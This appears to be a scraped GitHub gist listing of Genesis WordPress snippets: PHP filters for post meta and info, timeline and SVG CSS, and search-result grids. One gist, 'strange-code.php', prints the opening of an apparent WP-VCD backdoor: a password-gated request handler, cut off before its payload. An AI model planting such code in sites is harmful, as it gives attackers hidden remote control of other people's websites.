Skip to content

Instantly share code, notes, and snippets.

@topleague
topleague / filter-post-meta-post-info.php
Created February 13, 2019 06:56
Filter Post Meta and Post Info in Genesis
// Relocate Post Meta
remove_action( 'genesis_entry_footer', 'genesis_post_meta' );
add_action( 'genesis_entry_header', 'genesis_post_meta', 9 );
// Filter Post Meta and Use it Condtionally
add_filter( 'genesis_post_meta', 'leaguewp_post_meta_filter' );
function leaguewp_post_meta_filter($post_meta) {
if ( !is_page() ) {
$post_meta = '[post_categories before=""] [post_tags before=""]';
return $post_meta;
@topleague
topleague / relocate-post-meta-post-info.php
Created February 13, 2019 06:53
Relocate Post Meta and Post Info
// Relocate post info
remove_action( 'genesis_entry_header', 'genesis_post_info', 12 );
add_action( 'genesis_entry_footer', 'genesis_post_info', 9 );
//* Customize Post Info
add_filter( 'genesis_post_info', 'leaguewp_post_info_filter' );
function leaguewp_post_info_filter($post_info) {
$post_info = 'BY [post_author_posts_link] • [post_date]';
return $post_info;
}
@topleague
topleague / strange-code.php
Created January 2, 2019 12:36
Strange Code
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '4774c4b1a8af859f72ad92f7d34a161b'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
@topleague
topleague / genesis-responsive-vertical-timeline.css
Last active August 17, 2018 14:57
CSS for Vertical Timeline in Genesis Framework (Responsive)
@media only screen and (max-width: 860px) {
.timeline-body .site-inner {
padding: 5% 0 5% 5%;
}
.timeline::after {
left: 0;
}
@topleague
topleague / genesis-vertical-timeline.css
Created August 17, 2018 14:45
CSS Snippets for Vertical Timeline in Genesis
/* Snippets for Custom Body Class */
.timeline-body .entry {
background-color: transparent;
padding: 10px 10px;
}
.timeline-body .site-inner {
max-width: 1280px!important;
}
@topleague
topleague / genesis-vertical-timeline.txt
Created August 17, 2018 14:36
Use HTML Markup in Your Content
<div class="timeline">
<div class="container lefthand">
<div class="box">
<h2>2017</h2>
Lorem ipsum dolor sit amet, quo ei simul congue exerci, ad nec admodum perfecto mnesarchum, vim ea mazim fierent detracto. Ea quis iuvaret expetendis his, te elit voluptua dignissim per, habeo iusto primis ea eam.
</div>
</div>
<div class="container righthand">
@topleague
topleague / google-amp-error.txt
Created June 12, 2018 06:06
User-authored JavaScript found on Page
<script>if (document.location.protocol != “https:”) {document.location = document.URL.replace(/^http:/i, “https:”);}</script><script type=’text/javascript’ src=’https://cdn.ampproject.org/v0.js’ async></script>
@topleague
topleague / grid-style-search-results.php
Created May 18, 2018 14:51
Grid Style Search Results
//* Grid Style Search Results
function search_results_post_class( $classes ) {
// Don't run on single posts or pages
if( !is_search() )
return $classes;
$classes[] = 'one-third';
global $wp_query;
if( 0 == $wp_query->current_post || 0 == $wp_query->current_post % 3 )
$classes[] = 'first';
return $classes;
@topleague
topleague / custom-search-results.php
Last active December 3, 2019 07:12
Custom Search Results in Genesis Sample
<?php
/**
* Source: https://sridharkatakam.com/custom-search-template-in-genesis-showing-results-grouped-by-post-types/
*/
remove_action( 'genesis_loop', 'genesis_do_loop' );
add_action( 'genesis_loop', 'sk_do_search_loop' );
/**
* Outputs a custom loop.
@topleague
topleague / css-svg-genesis.txt
Created May 9, 2018 18:28
CSS for SVG in Gensis
/* STYLING AFTER HERO WIDGET */
.after-hero .wrap {
max-width: 100%;
font-size: 0;
padding-right: 0;
padding-left: 0;
}
/* STYLING BEFORE FOOTER WIDGET */
.before-footer-widget {